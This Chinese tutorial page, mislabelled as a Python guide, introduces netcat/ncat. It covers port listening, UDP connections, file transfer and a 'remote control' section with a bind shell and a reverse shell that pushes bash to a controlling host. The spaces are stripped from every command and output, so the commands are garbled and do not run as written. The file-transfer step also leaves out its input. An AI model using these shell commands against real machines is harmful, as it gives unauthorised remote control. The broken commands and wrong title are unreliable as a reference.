python之nc命令简介
nc介绍
ncat/nc既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的TCP代理。
在大多数Debian发行版中,nc是默认可用的,它会在安装系统的过程中自动被安装。但是在CentOS7/RHEL7的最小化安装中,nc并不会默认被安装。需要用下列命令手工安装。
yuminstallnmap-ncat-y
监听端口
使用-l选指定监听端口,加上-v选项显示详细信息
[root@host_1~]#nc-lv1234
Ncat:Version7.50
Ncat:Listeningon:::1234
Ncat:Listeningon0.0.0.0:1234
连接端口
nc默认就是连接端口,-v显示详细信息,-u连接udp端口
[root@host_2~]#nc-v192.168.159.1341234
Ncat:Version7.50
Ncat:Connectedto192.168.159.134:1234.
查看系统开启的udp端口
[root@host_1~]#netstat-unlp
ActiveInternetconnections(onlyservers)
ProtoRecv-QSend-QLocalAddressForeignAddressStatePID/Programname
udp000.0.0.0:31390.0.0.0:*691/dhclient
udp00127.0.0.1:3230.0.0.0:*640/chronyd
udp000.0.0.0:680.0.0.0:*691/dhclient
udp600:::45845:::*691/dhclient
udp600::1:323:::*640/chronyd
连接udp端口
[root@host_2~]#nc-vu192.168.159.1343139
Ncat:Version7.50
Ncat:Connectedto192.168.159.134:3139.
传输文件
在端口已连接的基础上,可以进行文件传输。
主机1作为接受端打开端口
[root@host_1testdir]#nc-lv1234>receive.txt
主机2上连接端口并传输文件
[root@host_2~]#nc-v192.168.159.1341234
Ncat:Version7.50
Ncat:Connectedto192.168.159.134:1234.
Ncat:1238bytessent,0bytesreceivedin0.03seconds.
远程控制
现有host_1host_2两台主机,演示host_2控制Host_1
host_1192.168.159.134
host_2192.168.159.130
正向控制
host_1执行:
[root@host_1testdir]#nc-l1234-cbash
host_2执行:
[root@host_2~]#nc-v192.168.159.1341234
Ncat:Version7.50
Ncat:Connectedto192.168.159.134:1234.
hostname
host_1
nc命令通过建立的连接将bash传递给对方。上面host_2连接成功后,执行hostname命令返回host_1主机名,表示已成功控制host_1
由于正向控制是在被控端开启端口,所以若存在防火墙很有可能无法连接成功
反向连接
主机host_2监听端口
[root@host_2~]#nc-l1234
主机host_1连接端口并推送bash
[root@host_1testdir]#nc-v192.168.159.1301234-e$(whichbash)
Ncat:Version7.50
Ncat:Connectedto192.168.159.130:1234.
控制端主机开启端口监听,被控端主动连接端口并推送bash到控制端。
nc传输加密
由于nc使用明文进行传输数据,所以引入ncat命令。ncat命令使用--ssl选项表示开启ssl管道加密传输。
以上内容为大家介绍了python之nc命令简介,希望对大家有所帮助,如果想要了解更多Python相关知识,请关注IT培训机构:开发教育。
鹏仔微信 15129739599 鹏仔QQ344225443 鹏仔前端 pjxi.com 共享博客 sharedbk.com
图片声明:本站部分配图来自网络。本站只作为美观性配图使用,无任何非法侵犯第三方意图,一切解释权归图片著作权方,本站不承担任何责任。如有恶意碰瓷者,必当奉陪到底严惩不贷!